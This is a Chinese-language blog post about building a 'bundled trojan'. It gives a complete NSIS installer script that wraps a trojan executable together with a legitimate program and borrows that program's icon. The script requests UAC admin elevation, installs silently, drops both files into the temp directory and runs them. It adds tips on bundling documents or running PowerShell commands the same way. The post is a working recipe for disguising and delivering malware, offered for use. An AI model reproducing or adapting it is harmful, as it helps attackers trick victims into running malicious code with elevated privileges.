捆绑马的制作
文章最后更新时间为:2024年04月02日 19:54:08
捆绑马的制作,如果在网上搜索的话通常有下面两种方式:
- 通过资源文件进行捆绑马,将木马文件添加到程序中作为资源,并在运行时从程序资源中获取相应的文件数据
- 通过winrar自解压进行捆绑马
上面两种方法局限性都很大,不能满足我一些复杂的需求,比如我需要将木马和正常的exe捆绑在一块,同时需要弹出UAC进行提权,并将exe放置在不同的目录下执行,或者是当木马已经上线的情况下,不重复执行木马.....
下面介绍一种比较方便简单的捆绑马制作方法,主要是利用nsis对多个文件进行打包,在执行时自定义释放资源和木马,自定义一些执行动作
1. nsis是什么
NSIS 被用来创建能够安装、卸载、设置系统设置、提取文件等的安装程序。基于脚本文件,所以使用简单方便,同时也是免费软件,无需破解,其下载地址为https://nsis.sourceforge.io/Download
这是一个编译器,不是编辑器,所以需要自己用其他编辑器编写nsi脚本,再拿到编译器中去编译。
这里我习惯使用vscode编辑脚本文件,然后采用vscode插件去调用编译器编译,直接在插件市场搜索nsis即可https://github.com/idleberg/vscode-nsis,然后再配置下makensis.exe的路径,即可在vscode中去写脚本和一键编译
2. 实战捆绑木马和正常的exe
使用vscode编写以下xxx.nsi文件,然后一键编译即可,注释已经写好,有不懂的可以查阅下官方文档https://nsis.sourceforge.io/Docs/
; 设置编译结果的输出文件
OutFile "安装包.exe"
; 设置exe的图标
Icon "1.ico"
; 直接请求uac 提权
RequestExecutionLevel admin
!include "FileFunc.nsh"
; 静默安装,调试的时候可以把这个关了,实际运行的时候要开静默
SilentInstall silent
; 初始化脚本
; 安装程序开始执行之前完成的任务
; 这里可以检查木马文件是否已经存在了,但是这里我先不做这么多
Function .onInit
FunctionEnd
; 开始安装步骤1,将"木马.exe"复制到"$TEMP\xxxxx"
Section "Section1" SEC01
; 这里设置一个目录,下面的文件都会被释放到这个目录底下,目录不存在的话会自动创建目录
SetOutPath "$TEMP\xxxxx"
; 指定安装包在打包时要包含进那些文件,安装时会将"木马.exe"释放到"$TEMP\xxxxx"
File "木马.exe"
SectionEnd
; 开始安装步骤2,将"正常文件.exe"复制到"$TEMP\xxxx2"
Section "Section2" SEC02
SetOutPath "$TEMP\xxxx2"
File "正常文件.exe"
SectionEnd
; 会在安装成功后执行,这里就直接执行exe就好了
Function .onInstSuccess
Exec "$TEMP\xxxxx\木马.exe"
Exec "$TEMP\xxxx2\正常文件.exe
; 打开文档可以用下面的命令
; ExecShell open "$TEMP\测试文档.docx"
FunctionEnd
ps:
- 可以捆绑别的东西,比如docx,除了执行exe之外,也可以进行其他的命令,比如powershell等命令,原理都是一样的
- 需要考虑安装时,目标文件已经存在且被占用的情况,这里没有给出,自己看官方文档就行
- 提取应用的图标,可以使用BeCyIconGrabberPortable工具https://jarlpenguin.github.io/BeCyIconGrabberPortable/